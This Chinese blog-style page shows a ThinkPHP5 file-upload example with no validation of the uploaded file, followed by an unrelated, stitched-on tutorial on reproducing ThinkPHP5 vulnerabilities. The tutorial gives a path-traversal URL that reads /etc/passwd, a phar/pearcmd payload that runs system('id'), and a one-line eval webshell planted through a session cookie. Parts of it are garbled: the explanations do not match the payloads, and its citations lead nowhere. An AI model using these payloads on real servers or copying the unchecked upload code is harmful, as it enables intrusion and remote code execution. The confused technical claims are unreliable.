thinkphp5文件写入的方法示例

本文介绍了一个简单的文件上传功能实现方式,包括HTML表单设计、PHP数据处理及文件存储流程。展示了如何通过表单提交文件,并在服务器端进行验证、存储及数据库记录。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

//html部分示例
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://www.shizhanzhe.com/js/jquery1.42.min.js"></script>
</head>
<body>
<form action="/index.php/index/index/gaoUpload" method="post" enctype="multipart/form-data">
    <input type="text" name="gaoname" value="" placeholder="图片名称,支持字母或数字"><br/>
    <input type="text" name="gaourl" value="" placeholder="图片链接"><br/>
    <input type="file" name="gaopic" value=""><br/>
    <input type="submit"  value="上传">
</form>
</body>
</html>

//页面渲染

public function gaoPic(){
  return $this->fetch();
 }

//数据提交方法

public function gaoUpload(){
    $request = request();//think助手函数
    $data_get = $request->param();//获取get与post数据
    $file = request()->file('gaopic');
    $info = $file->move(ROOT_PATH . 'public' . DS . 'uploads/gao');
    if($info){
        //组装新数据
        $gao_data = array(
            'gaoname'=>$data_get['gaoname'],
            'gaopic'=>$info->getSaveName(),
            'gaourl'=>$data_get['gaourl']
         );
         //获取文件的信息
         $gao_json = file_get_contents('gaopic.ini');
         $gao_arr = json_decode($gao_json,true);
         $gao_arr[] = $gao_data;
         $gao_content = json_encode($gao_arr);
         //创建ini文件
         $gao_file = fopen("gaopic.ini","w+") or die("Unable to open file!");
         //将内容写入文件
         fwrite($gao_file, $gao_content);
         //关闭文件
          fclose($gao_file);
      }
  }
### ThinkPHP5 文件包含漏洞复现教程 #### 背景介绍 ThinkPHP 是一款流行的 PHP 开源框架,广泛应用于 Web 应用开发。然而,在某些特定条件下,该框架可能存在严重的安全漏洞。例如,当启用多语言功能或模板引擎未正确处理输入时,可能导致文件包含漏洞甚至远程代码执行 (RCE)[^1]。 受影响的版本包括但不限于以下范围: - **ThinkPHP 5.x 版本**[^2] 以下是针对此漏洞的安全测试方法: --- #### 配置环境准备 为了成功复现漏洞,需搭建一个易受攻击的 ThinkPHP 环境。具体操作如下: 1. 下载并安装目标版本的 ThinkPHP 框架。 2. 修改配置文件 `/application/config.php` 中的相关参数以激活多语言支持: ```php 'lang_switch_on' => true, ``` 此设置允许通过 URL 参数切换语言文件[^3]。 --- #### 利用过程详解 ##### 1. 构造恶意请求触发文件包含 利用 `lang` 参数传递特殊路径字符串来访问任意本地文件。例如: ``` http://localhost/index.php?s=index/think\..\think/library/driver/view/Php.php&lang=../../../../../../etc/passwd%00 ``` 上述 URL 尝试读取系统的 `/etc/passwd` 文件作为伪翻译资源加载到应用中。 ##### 2. 实现 RCE 的关键点—— pearcmd 巧妙运用 进一步深入挖掘发现,如果能够控制被引入的内容,则可注入恶意脚本完成命令执行。这里借助默认存在的 `pearcmd` 功能达成目的: ``` ?file=phar://./vendor/composer/autoload_files.php/a.php&filter[]=system&content=id ``` 这条链路最终会调用 system 函数运行 id 命令[^4]。 ##### 3. Session 文件写入与提权尝试 除了直接嵌套外部实体外,还可以操控 session 数据存储机制生成自定义 php shell 。按照惯例,session ID 存储于浏览器 cookies 内部;因此只需伪造相应字段即可指定保存位置以及内容格式化方式为期望形式: ``` Cookie: PHPSESSID=test; sess_test=<?php @eval($_POST['c']);?> ``` 随后再次发送 GET 请求至服务器端口监听处等待交互响应[^5]。 --- #### 编码实践建议 尽管以上演示展示了潜在风险所在之处,但在实际项目部署过程中应当采取有效措施规避此类隐患发生概率最大化降低危害程度比如加强输入验证逻辑或者关闭不必要的扩展特性等等。 ```bash # 示例防御手段之一:严格校验所有动态传参合法性 if (!preg_match('/^[a-zA-Z0-9_-]+$/', $_GET['param'])) { die('Invalid input'); } ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值